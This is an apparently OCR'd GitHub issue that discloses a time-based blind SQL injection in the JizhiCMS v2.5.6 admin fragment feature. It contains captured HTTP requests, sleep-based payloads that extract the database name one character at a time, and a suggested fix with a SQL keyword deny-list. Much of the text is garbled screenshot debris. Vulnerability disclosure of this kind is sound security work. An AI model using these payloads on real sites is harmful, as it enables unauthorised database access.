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Vulnerability Description

This feature point decodes user input through the htmlspecialchars_decode() function and directly
concatenates it into the SQL statement to achieve SQL injection.

Affected version

JizhiCMS v2.5.6
Official website address : https://www.jizhicms.cn/
Project address : https://github.com/Cherry-toto/jizhicms, https://gitee.com/Cherry toto/jizhicms
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Vulnerability reproduction

The location of the vulnerable function point :
Back-end Management — Extension Management — Fragmentation — Add Fragment

The SQL injection point is at the SQL statement, where the fragment name and fragment identifier can be

arbitrary (e.g., test, test)
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Fill in the content, click "Save" to perform packet capture
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The captured data packet is as follows, with the route being /index.php/admins/Sys/addcache.html
The injection point parameter is: sqls
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POST | /index.php/admins/Sys/addcache.html | v

72 http:// 200 600 HTML htm
==
Request Response
Pretty Raw Hex N \n = Pretty Raw Hex Render \n =
| POST /index. php/admins/Sys/addcache. htmll HTTP/1.1 | HTTP/1.1 200 OK
2 Host: 2 Date: Thu, 02 Apr 2026
5 Content-Length: 96 3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b
4 X-Requested-With: XMLHttpRequest mod_fegid/2.3.9a mod log rotate/1.02
5 Accept-Language: zh-CN, zh;q=0.9 4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Accept: /% 5 Cache—Control: no—store, no—cache, must-revalidate
7 Content-Type: application/x-www—form—urlencoded; 6 Pragma: no—cache
charset=UTF-8 7 Set—Cookie: PHPSESSID=v
8 User—Agent: | expires=Thu, 09-Apr-2026 GMT; Max-Age=604800;
HE path=/; HttpOnly
u 2 Keep—Alive: timeout=5, max=100
g Origin: http://? 9 Connection: Keep-Alive
10 Referer: 10 Content-Type: text/html; charset=UTF-8
http:// 'index. php/admins/Sys/addcache. ht | || Content-Length: 111
ml 12
11 Accept-Encoding: gzip, deflate, br 13 {“code”:0, “msg” VRIS 4REEVRINTT, "url”: “http://"
12 Cookie: _f=! : /index. php/admins/Sys/addcache. html”}
PHPSESSID=1
13 Connection: keep-alive
14
15 go=l&title=test&field=test&molds=article&tid=0&isall=

1&sqls=1&orders=id+desc&limits=10&times=720

Send the data packet to the Repeater module, insert SQL injection statements, and replace spaces with plus
signs

1

and sleep(2)--

1. Time-blind injection - verifying the existence of vulnerabilities

The delay here is approximately 12 times the current number, 224336

2

<+

_sena |3

Cancel

Request

Pretty Raw Hex & \n =
| POST /index.php/admins/Sys/addcache. html HTTP/1.1

2 Host: |

3 Content-Length: 111

4 X-Requested-With: XMLHttpRequest

5 Accept-Language: zh-CN, zh;q=0.9

6 Accept: */*

7

oo

o ©

Content-Type: application/x—-www-form-urlencoded;
charset=UTF-8

User—Agent: | |

)i L L)

Origin: http://

Referer:
http://10.63.118. 114/index. php/admins/Sys/addcache. htm
1

Accept-Encoding: gzip, deflate, br
Cookie: ]

o=1&title=test&field=testémolds=article&tid=0kisall=1
&sqls=1+and+sleep (2) —&brders=id+desc&limits=10&times=

[GFHIEIIES

120
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Done

Event log (4) !

Allissues (17)*

a- -
Response
Pretty Raw Hex Render \n =
1 HTTP/1.1 200 OK
2 Date: Thu, 02 Apr 2026 | |
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b

mod_fcgid/2.3.9a mod_log_rotate/1.02

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache—Control: no-store, no—cache, must-revalidate
Pragma: no-cache

Set-Cookie: PHPSESSID=

expires=Thu, 09-Apr—-2026 I
path=/; HttpOnly

IS SN

; Max-Age=604800;

8 Keep-Alive: timeout=5, max=100

9 Connection: Keep-Alive

10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 111

12

13 {“code”:0, “msg”: "VRIALY Y ARLEURINT", “url”: "http://
:/index. php/admins/Sys/addcache. html”}
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m | cancel <|v Target: http:// W00 =l y HTTP/1 @

ﬂ = L Inspector L n I -3 X 2
Request Response
Pretty  Raw  Hex I N = | Pretty Raw  Hex  Render N = Request attributes 2 v =
| POST /index.php/admins/Sys/addcache. html HTTP/1.1 1 HTTP/1.1 200 OK E
9 Host: | 9 Date: Thu, 02 Apr 2026 . ] Request query parameters or v S
3 Content-Length: 111 3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b
4 X-Requested-With: XMLHttpRequest mod_fcgid/2.3. 9a mod_log_rotate/1.02 Request body parameters 10 N4
5 Accept-Language: zh-CN, zh;q=0.9 4 Expires: Thu, 19 Nov 1981 08:52:00 GMT B
6 Accept: */* 5 Cache—Control: no-store, no-cache, must-revalidate Request cookies & R?
7 Content-Type: application/x-www—form-urlencoded; 6 Pragma: no—cache %
charset=UTF-8 7 Set—Cookie: PHPSESSID=1 Request headers 12 v e
8 User—Agent: | | expires=Thu, 09-Apr-2026 W ffax Age=604800;
HE path=/; HttpOnly Response headers 10 v
3 Keep—-Alive: timeout=5, max=100 Q
9 Origin: http://7 9 Connection: Keep-Alive
10 Referer: 10 Content-Type: text/html; charset=UTF-8 g‘
http:// /index. php/admins/Sys/addcache. htm 1] Content-Length: 111 3
1 12 =
11 Accept-Encoding: gzip, deflate, br 13 {“code”:0, “msg”: "TRINALIN ! LRI, “url”: “http:// g
12 Cookie: _f=1 ; PHPSESSID ‘index. php/admins/Sys/addcache. html”} &
=y
13 Comnection: keepralive v
14
GOzl = f est&molds=article&tid=0O&isall=1 o
&sqls=1+and+sleep (3) ——korders=id+desc&limits=10&times= %
720 S
3
S
@
@ oy ][> | search O ohighlights | (2 €63 | €| > | search O 0highlights

Done 600 bytes | 36,156 millis

(My database is named jizhicms, and | will proceed with testing directly below)

2. Time-blind attack - Obtain the length of the database name
The length of my database name is 8. When the SQL injection statement is 7 characters long, no delay
can be observed

a== Inspector w = -® X g
Request Response
Pretty =~ Raw  Hex ® n = Pretty ~ Raw  Hex  Render N = Requestattributes 2 v B
| POST /index.php/admins/Sys/addcache. html HTTP/1.1 1 HTTP/1.1 200 OK ?'%
2 Host: 2 Date: Thu, 02 Apr 2026 n Request query parameters 0 v é‘
3 Content-Length: 138 3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b
4 X-Requested-With: XMLHttpRequest mod_fcgid/2. 3. 9a mod_log_rotate/1.02 Request body parameters 10 %
5 Accept-Language: zh—CN, zh;q=0. 9 4 Expires: Thu, 19 Nov 1981 08:52:00 GMT B
6 Accept: */* 5 Cache-Control: no-store, no—cache, must-revalidate Request cookies 2 v
7 Content-Type: application/xz-www—form—urlencoded; 6 Pragma: no—cache g
charset=UTF-8 7 Set-Cookie: PHPSESSID= i " Request headers 12 A
3 User-Agent: | 3 i T expires=Thu, 09-Apr—2026 = Max-Age=604800;
LI | path=/; HttpOnly Response headers 10 v
3 Keep—Alive: timeout=5, max=100 Q
9 Origin: http:// 9 Connection: Keep-Alive
10 Referer: 10 Content-Type: text/html; charset=UTF-8 _rg"
http:// /index. php/admins/Sys/addcache. htm 11 Content-Length: 111 ;T
1 12 ES
11 Accept-Encoding: gzip, deflate, br 13 {7code”:0, "msg”: “TRINEETA Y 4RSI, “url”: “http:/, o
12 Cookie: _f= i PHPSESSID i/index. php/admins/Sys/addcache. html”} &
3
1; [ &
2 2
+and+if (length(database())=7, sleep(3), 0)--& %
orders=id+desc&limits=10&times=720 3
3
3
@

@3 €[> searcn O onighiights (3 £} ¢ > Ssearch £ onighlights

Done 600 bytes | 68 millis,

1 and if(length(database())=8,sleep(3),0)--
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Request

Pretty ~ Raw  Hex _ n =
POST /index. php/admins/Sys/addcache. html HTTP/1. 1
Host :
Content-Length: 138
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN, zh;q=0.9
Accept: #/#
Content-Type: application/x-www—form—urlencoded;
charset=UTF-8
8 User-Agent: I g ol

0o O

~ oo

(
9 Origin: http://

10 Referer:
http:// ’index. php/admins/Sys/addcache. htm
1

11 Accept-Encoding: gzip, deflate, br

12 Cookie: _f=! ; PHPSESSID

- go=1&title=test&field=t )
&sqls=1+and+if (length (database O)=;
orders=id+desc&limits=10&times=720

@&} €[> | searh O Ohighlights

Done

Eventlog (4)®  Allissues (17)®

"Successfully delayed. The length of the database name is determined to be 8."

w o —

Q==
Response
Pretty Raw Hex Render n =
1 HTTP/1.1 200 OK
9 Date: Thu, 02 Apr 2026 ]
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b

mod_fcgid/2.3.9a mod_log_rotate/1.02

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache—Control: no-store, no—cache, must-revalidate
Pragma: no-cache

Set—Cookie: PHPSESSID=

expires=Thu, 09-Apr-2026 m, Max-Age=604800;
path=/; HttpOnly

IS RSINS

3 Keep-Alive: timeout=5, max=100

9 Connection: Keep-Alive

10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 111

{"code” -0, “nsg” - "TEIIKIN ! BEERENT", "url” - "http: //
v/index. php/admins/Sys/addcache. html”}

@3 ¢|[> | search O Ohighlights

3. Time-blind injection - Obtain database names (character by character)

1 and if(ascii(substr(database(),1,1))=106,sleep(3),0)--

Inspector m@ =z - & X o ‘
Request attributes 2 v5 5
°
g |
Request query parameters 0 4 b
Request body parameters 10 v
Request cookies 2 v
2 |
2
Request headers 2 v o
Response headers 10 v
Q
m
X
el
o
=
o
=
o
S
@
o
c
4
o
gl
o
a
=
=
@

| 600 bytes | 36,441 millis

@® Memory: 197.8MB oWV

The page response delay is 36 seconds, indicating that the ASCII code of the first character is 106 (')

. Request

| Pretty  Raw  Hex _ n =
| POST /index. php/admins/Sys/addcache. html HTTP/1.1

| 2 Host:

7 3 Content-Length: 151

X-Requested-With: XMLHttpRequest
Accept-Language: zh—CN, zh;q=0.9

Accept: * /%

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

i § User-Agent: | |

IS

~ o o

Origin: http://

110 Referer:

http:// :/index. php/admins/Sys/addcache. htm
1

©

/11 Accept-Encoding: gzip, deflate, br
12 Cookie: _f=! *; PHPSESSID

13 Comnection;: keep-alive

{14
1o.go=14title=test&field=testdmolds=articlektid=0kisall=1

&sqls=
1+and+if (ascii(substr (database(),1,1))=106, sleep(3),0)
——&orders=id+desc&limits=10&t imes=720

@{é} &[] [ search O 0Ohighlights

Done

a--
Response
Pretty Raw Hex Render n =
1 HTTP/1.1 200 OK
2 Date: Thu, 02 Apr 2026 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b

mod_fcgid/2.3.9a mod_log rotate/1.02

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache—Control: no-store, no—cache, must-revalidate
Pragma: no-cache

Set—Cookie: PHPSESSID=

expires=Thu, 09-Apr-2026 m Max-Age=604800;
path=/; HttpOnly

3 Keep-Alive: timeout=5, max=100

9 Connection: Keep—Alive

10 Content-Type: text/html; charset=UTF-8

11 Content-Length: 111

'S

~ oo

l_ﬂ {"code”:0, "msg” : "RINBLIN ! 4k SN, "url” : “http://
/index. php/admins/Sys/addcache. html”}

@ £ €[> search O 0Ohighlights

Inspector nd =& X a
Request attributes 2 A a_
el
a
Request query parameters 0 v °
&
Request body parameters 10 v
Request cookies 2 v
=z
2
Request headers 12 v o)
Response headers 10 v
Q
m
X
hel
o
=)
o
=
5]
=]
@
[e]
c
4
o
3
m
2
2
=]
@

600 bytes | 36,157 millis

The following test is the same as above, with the complete database name to obtain the Payload sequence:

-- The first character: 'j' (ASCII 106)
1 and if(ascii(substr(database(),1,1))=106,sleep(3),0)--

https://github.com/qingyun985/Cyber-Security/issues/4
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4/25/26, 12:41 PM

The fragmented functionalities of JizhiCMS are prone to SQL injection vulnerabilities - Issue #4 - qingyun985/Cyb...
-- 2nd character: 'i'
1 and if(ascii(substr(database(),2,1))=105,sleep(3),0)--

-- 3rd character: 'z'
1 and if(ascii(substr(database(),3,1))=122,sleep(3),0)--

-- 4th character: 'h'
1 and if(ascii(substr(database(),4,1))=104,sleep(3),0)--

-- 5th character: 'i'
1 and if(ascii(substr(database(),5,1))=105,sleep(3),0)--

-- 6th character: 'c'

1 and if(ascii(substr(database(),6,1))=99,sleep(3),0)--

-- 7th character: 'm'
1 and if(ascii(substr(database(),7,1))=109,sleep(3),0)--

-- 8th character: 's'
1 and if(ascii(substr(database(),8,1))=115,sleep(3),0)--

(ASCII 105)

(ASCII 122)

(ASCII 104)

(ASCII 105)

(ASCII 99)

(ASCII 109)

(ASCII 115)

Note: The test involves adding functional points, and all data will be added. Batch testing with tools is
prohibited to avoid any impact!
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gingyun985 3 weeks ago

Repair recommendations

Use prepared statements

https://github.com/qingyun985/Cyber-Security/issues/4

Owner

Author

7/10


https://private-user-images.githubusercontent.com/155820126/572954344-79d78b45-f1ad-4073-8f84-02ff96039e42.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzcxMjEyMDIsIm5iZiI6MTc3NzEyMDkwMiwicGF0aCI6Ii8xNTU4MjAxMjYvNTcyOTU0MzQ0LTc5ZDc4YjQ1LWYxYWQtNDA3My04Zjg0LTAyZmY5NjAzOWU0Mi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDI1JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQyNVQxMjQxNDJaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1mMWUzM2Y2ZDgzZGI3ZWI3MGI5ODZjOGJhZTM4Y2MxNTQwNWY3NzI3NmE3ZjMxY2RmOGM5YzdhNjFlNzE1YWM0JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZyZXNwb25zZS1jb250ZW50LXR5cGU9aW1hZ2UlMkZwbmcifQ.0hLfKc-f6tdYnY_kvxfMJ3Hes6tQn8Nk_c5x2ipkl2U
https://private-user-images.githubusercontent.com/155820126/572954344-79d78b45-f1ad-4073-8f84-02ff96039e42.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzcxMjEyMDIsIm5iZiI6MTc3NzEyMDkwMiwicGF0aCI6Ii8xNTU4MjAxMjYvNTcyOTU0MzQ0LTc5ZDc4YjQ1LWYxYWQtNDA3My04Zjg0LTAyZmY5NjAzOWU0Mi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDI1JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQyNVQxMjQxNDJaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1mMWUzM2Y2ZDgzZGI3ZWI3MGI5ODZjOGJhZTM4Y2MxNTQwNWY3NzI3NmE3ZjMxY2RmOGM5YzdhNjFlNzE1YWM0JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZyZXNwb25zZS1jb250ZW50LXR5cGU9aW1hZ2UlMkZwbmcifQ.0hLfKc-f6tdYnY_kvxfMJ3Hes6tQn8Nk_c5x2ipkl2U
https://github.com/qingyun985
https://github.com/qingyun985

4/25/26, 12:41 PM The fragmented functionalities of JizhiCMS are prone to SQL injection vulnerabilities - Issue #4 - qingyun985/Cyb...

public function addcache(){ d;
if($this->frparam('go',1)==1){

$data = $this->frparam();
$data['title'] = $this->frparam("title",1);
$data['field'] = $this->frparam("field",1);
$data['limits'] = $this->frparam("limits");
$data['orders'] = $this->frparam("orders",1);
$data['tid'] = $this->frparam('tid"');
$data['isall'] = $this->frparam('isall');
$data['sqls'] = $this->frparam('sqls',1);
$data['times'] = $this->frparam('times',0,10);
$data[ 'molds'] = $this->frparam('molds',1);

/7 PERERE - RATRERNSQLEY

$allowed_pattern = '/ALa-zA-Z0-9_\s\=\<\>\IN(\)\N'\, NABNF\+\-\/]+$/1";

if(!empty($data['sqls']) && !'preg_match($allowed_pattern, $data['sqls'])){
JsonReturn(array('code'=>1, 'msqg'=>'SQL&MHASIEETEHS"));

/7 BILERKERT
$dangerous =
['update', 'delete', "insert', 'drop', 'truncate', 'union', 'select', 'sleep', 'benchmark', 'load_file
foreach($dangerous as $word){
if(stripos($data['sqls'], $word) !== false){
JsonReturn(array('code'=>1, 'msg'=>"'SQLELHAEBHRTET"));

}

// {EBAMAIEE R T
$where = '';
$params = [];

if($data['tid']){
if($data['isall']==1){
$children_ids = $this->classtypedata[$data['tid']]['children']['ids'];
$placeholders = implode(',', array_fill(@, count($children_ids), '?'));

$where .= " and tid in ($placeholders)";

$params = array_merge($params, $children_ids);
}else{

$where .= " and tid=?";

$params[] = $data['tid'];
3

// sqlsSHABEENE , MEBETRENAALE
// BETEZIERAFEENSQL , RAVFIE XA &H

$sql = "select * from ".DB_PREFIX.$data['molds']." where 1=1 ".$where;

if($data['orders']){
// BRBEREHF TR
$allowed_orders = ['id',6 'addtime', 'orders', "hits'];
$order_parts = explode(' ', $data['orders']);
if(in_array($order_parts[0], $allowed_orders)){
$sql .= " order by ".$data['orders'];
}
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if($data['limits']){
$sql .= " limit ?";

$params[] = (int)$data['limits'];

/7 (LRI RAT

$result = M()->findSql($sql, $params);

//

SNV N (o] 8 -I-8 to join this conversation on GitHub. Already have an account? Sign in to comment
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